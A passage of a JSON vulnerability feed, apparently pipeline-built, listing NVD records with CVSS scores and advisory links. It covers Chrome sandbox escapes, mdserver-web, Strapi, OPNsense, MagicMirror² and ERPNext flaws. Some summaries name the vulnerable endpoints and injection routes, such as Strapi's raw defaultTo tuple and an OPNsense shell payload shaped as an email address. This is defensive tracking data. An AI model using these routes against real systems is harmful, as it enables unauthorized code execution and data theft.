fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:20:55.429Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-8580","cveId":"CVE-2026-8580","aliases":[],"kind":"vulnerability","title":"Use after free in Mojo in Google Chrome prior to 148.0.7778.168 allowed a remote attacker to potentially perform a sandbox escape via a crafted HTML page.","summary":"Use after free in Mojo in Google Chrome prior to 148.0.7778.168 allowed a remote attacker to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: Medium)","detail":"Use after free in Mojo in Google Chrome prior to 148.0.7778.168 allowed a remote attacker to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: Medium)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-14T20:17:20.367Z","updatedAt":"2026-10-26T14:10:00.130Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.6,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-8580","asOf":"2026-10-26T14:10:00.130Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-8580","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-8580","type":"primary","publishedAt":"2026-05-14T20:17:20.367Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_12.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:20:55.429Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-8511","cveId":"CVE-2026-8511","aliases":[],"kind":"vulnerability","title":"Use after free in UI in Google Chrome prior to 148.0.7778.168 allowed a remote attacker to potentially perform a sandbox escape via a crafted HTML page.","summary":"Use after free in UI in Google Chrome prior to 148.0.7778.168 allowed a remote attacker to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: Critical)","detail":"Use after free in UI in Google Chrome prior to 148.0.7778.168 allowed a remote attacker to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: Critical)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-14T20:17:11.707Z","updatedAt":"2026-10-26T14:10:00.130Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.6,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-8511","asOf":"2026-10-26T14:10:00.130Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-8511","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-8511","type":"primary","publishedAt":"2026-05-14T20:17:11.707Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_12.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:20:55.429Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-41315","cveId":"CVE-2026-41315","aliases":[],"kind":"vulnerability","title":"mdserver-web is a simple Linux panel.","summary":"mdserver-web is a simple Linux panel. From 0.18.0 to 0.18.4, mdserver-web has a front-end unauthorized remote command execution vulnerability. Due to the lack of authentication on the /modify_crond and /start_task interfaces, it is possible to modify the default built-in scheduled tasks and start them, achieving RCE.","detail":"mdserver-web is a simple Linux panel. From 0.18.0 to 0.18.4, mdserver-web has a front-end unauthorized remote command execution vulnerability. Due to the lack of authentication on the /modify_crond and /start_task interfaces, it is possible to modify the default built-in scheduled tasks and start them, achieving RCE.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-14T19:16:35.127Z","updatedAt":"2026-10-26T14:10:00.130Z","regions":["Global"],"vendor":"midoks","product":"mdserver-web","stacks":["Midoks","mdserver-web"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.3,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-41315","asOf":"2026-10-26T14:10:00.130Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-41315","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-41315","type":"primary","publishedAt":"2026-05-14T19:16:35.127Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://github.com/midoks/mdserver-web/security/advisories/GHSA-3h92-g9hr-xc25","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:20:55.429Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-22599","cveId":"CVE-2026-22599","aliases":[],"kind":"vulnerability","title":"Strapi is an open source headless content management system.","summary":"Strapi is an open source headless content management system. In versions on the 4.x branch prior to 4.26.1 and on the 5.x branch prior to 5.33.2, a database-query injection vulnerability existed in the Strapi Content-Type Builder write API. An authenticated administrator could inject arbitrary database statements through the `column.defaultTo` attribute when creating or modifying a content type. Setting `defaultTo` as a tuple `[value, { isRaw: true }]` caused the value to be passed directly into Knex's `db.connection.raw()` during schema migration without sanitization, allowing arbitrary statement execution at the database layer. Depending on the database engine, this enabled arbitrary file read via database utility functions, denial of service via forced server crash on schema-migration error, and on engines that permit external program execution, remote code execution against the database server. The patch in versions 4.26.1 and 5.33.2 addresses this by restricting all Content-Type Builder write APIs to development mode only. Production deployments running v5.33.2 or later return 404 for requests against `/content-type-builder/content-types` and related endpoints, removing the network-reachable attack surface entirely.","detail":"Strapi is an open source headless content management system. In versions on the 4.x branch prior to 4.26.1 and on the 5.x branch prior to 5.33.2, a database-query injection vulnerability existed in the Strapi Content-Type Builder write API. An authenticated administrator could inject arbitrary database statements through the `column.defaultTo` attribute when creating or modifying a content type. Setting `defaultTo` as a tuple `[value, { isRaw: true }]` caused the value to be passed directly into Knex's `db.connection.raw()` during schema migration without sanitization, allowing arbitrary statement execution at the database layer. Depending on the database engine, this enabled arbitrary file read via database utility functions, denial of service via forced server crash on schema-migration error, and on engines that permit external program execution, remote code execution against the database server. The patch in versions 4.26.1 and 5.33.2 addresses this by restricting all Content-Type Builder write APIs to development mode only. Production deployments running v5.33.2 or later return 404 for requests against `/content-type-builder/content-types` and related endpoints, removing the network-reachable attack surface entirely.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-14T19:16:29.650Z","updatedAt":"2026-10-26T14:10:00.130Z","regions":["Global"],"vendor":"strapi","product":"strapi","stacks":["Strapi","strapi"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.3,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:N/SC:H/SI:H/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-22599","asOf":"2026-10-26T14:10:00.130Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-22599","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-22599","type":"primary","publishedAt":"2026-05-14T19:16:29.650Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://github.com/strapi/strapi/security/advisories/GHSA-3xcq-8mjw-h6mx","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:20:55.429Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-41615","cveId":"CVE-2026-41615","aliases":[],"kind":"vulnerability","title":"Exposure of sensitive information to an unauthorized actor in Microsoft Authenticator allows an unauthorized attacker to disclose information over a network.","summary":"Exposure of sensitive information to an unauthorized actor in Microsoft Authenticator allows an unauthorized attacker to disclose information over a network.","detail":"Exposure of sensitive information to an unauthorized actor in Microsoft Authenticator allows an unauthorized attacker to disclose information over a network.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-14T18:16:47.243Z","updatedAt":"2026-10-26T14:10:00.130Z","regions":["Global"],"vendor":"microsoft","product":"authenticator","stacks":["Microsoft","authenticator"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.6,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-41615","asOf":"2026-10-26T14:10:00.130Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-41615","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-41615","type":"primary","publishedAt":"2026-05-14T18:16:47.243Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41615","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:20:55.429Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-42281","cveId":"CVE-2026-42281","aliases":[],"kind":"vulnerability","title":"MagicMirror² is an open source modular smart mirror platform.","summary":"MagicMirror² is an open source modular smart mirror platform. Prior to 2.36.0, an unauthenticated Server-Side Request Forgery (SSRF) vulnerability in the /cors endpoint allows any remote attacker to force the MagicMirror² server to perform arbitrary HTTP requests to internal networks, cloud metadata services, and localhost services. The endpoint also expands environment variable placeholders (**VAR_NAME**), enabling exfiltration of server-side secrets. This vulnerability is fixed in 2.36.0.","detail":"MagicMirror² is an open source modular smart mirror platform. Prior to 2.36.0, an unauthenticated Server-Side Request Forgery (SSRF) vulnerability in the /cors endpoint allows any remote attacker to force the MagicMirror² server to perform arbitrary HTTP requests to internal networks, cloud metadata services, and localhost services. The endpoint also expands environment variable placeholders (**VAR_NAME**), enabling exfiltration of server-side secrets. This vulnerability is fixed in 2.36.0.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-14T16:16:21.200Z","updatedAt":"2026-10-26T14:10:00.130Z","regions":["Global"],"vendor":"magicmirror","product":"magicmirror","stacks":["Magicmirror","magicmirror"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.2,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-42281","asOf":"2026-10-26T14:10:00.130Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-42281","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-42281","type":"primary","publishedAt":"2026-05-14T16:16:21.200Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://github.com/MagicMirrorOrg/MagicMirror/security/advisories/GHSA-ph6f-2cvq-79hq","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:20:55.429Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-45158","cveId":"CVE-2026-45158","aliases":[],"kind":"vulnerability","title":"OPNsense is a FreeBSD based firewall and routing platform.","summary":"OPNsense is a FreeBSD based firewall and routing platform. Prior to 26.1.8, unsanitized user input is passed to the DHCP configuration of the configured interface, which is processed by a shell script, allowing remote code execution as root on the underlying operating system. This vulnerability is fixed in 26.1.8.","detail":"OPNsense is a FreeBSD based firewall and routing platform. Prior to 26.1.8, unsanitized user input is passed to the DHCP configuration of the configured interface, which is processed by a shell script, allowing remote code execution as root on the underlying operating system. This vulnerability is fixed in 26.1.8.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-13T22:16:46.363Z","updatedAt":"2026-10-26T14:10:00.130Z","regions":["Global"],"vendor":"opnsense","product":"opnsense","stacks":["FreeBSD","opnsense"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-45158","asOf":"2026-10-26T14:10:00.130Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-45158","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-45158","type":"primary","publishedAt":"2026-05-13T22:16:46.363Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://github.com/opnsense/core/security/advisories/GHSA-5rx3-w735-74wm","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:20:55.429Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-44442","cveId":"CVE-2026-44442","aliases":[],"kind":"vulnerability","title":"ERPNext is a free and open source Enterprise Resource Planning tool.","summary":"ERPNext is a free and open source Enterprise Resource Planning tool. Prior to 16.9.1, certain endpoints failed to enforce proper authorization checks, allowing users to modify data beyond their permitted role. This vulnerability is fixed in 16.9.1.","detail":"ERPNext is a free and open source Enterprise Resource Planning tool. Prior to 16.9.1, certain endpoints failed to enforce proper authorization checks, allowing users to modify data beyond their permitted role. This vulnerability is fixed in 16.9.1.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-13T22:16:45.350Z","updatedAt":"2026-10-26T14:10:00.130Z","regions":["Global"],"vendor":"frappe","product":"erpnext","stacks":["Frappe","erpnext"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.9,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-44442","asOf":"2026-10-26T14:10:00.130Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-44442","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44442","type":"primary","publishedAt":"2026-05-13T22:16:45.350Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://github.com/frappe/erpnext/security/advisories/GHSA-cg5w-7g26-p3w9","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:20:55.429Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-44194","cveId":"CVE-2026-44194","aliases":[],"kind":"vulnerability","title":"OPNsense is a FreeBSD based firewall and routing platform.","summary":"OPNsense is a FreeBSD based firewall and routing platform. Prior to 26.1.8, an authenticated Remote Code Execution (RCE) vulnerability in the OPNsense core allows a user with user-management privileges to execute arbitrary system commands as root. An attacker can bypass input validation by formatting their malicious payload as a compliant email address, allowing shell commands to reach the underlying operating system. The flaw exists in the local user synchronization flow, within core/src/opnsense/scripts/auth/sync_user.php. This vulnerability is fixed in 26.1.8.","detail":"OPNsense is a FreeBSD based firewall and routing platform. Prior to 26.1.8, an authenticated Remote Code Execution (RCE) vulnerability in the OPNsense core allows a user with user-management privileges to execute arbitrary system commands as root. An attacker can bypass input validation by formatting their malicious payload as a compliant email address, allowing shell commands to reach the underlying operating system. The flaw exists in the local user synchronization flow, within core/src/opnsense/scripts/auth/sync_user.php. This vulnerability is fixed in 26.1.8.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-13T22:16:43.673Z","updatedAt":"2026-10-26T14:10:00.130Z","regions":["Global"],"vendor":"opnsense","product":"opnsense","stacks":["FreeBSD","opnsense"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-44194","asOf":"2026-10-26T14:10:00.130Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-44194","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44194","type":"primary","publishedAt":"2026-05-13T22:16:43.673Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://github.com/opnsense/core/security/advisories/GHSA-f59w-m967-9rf6","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 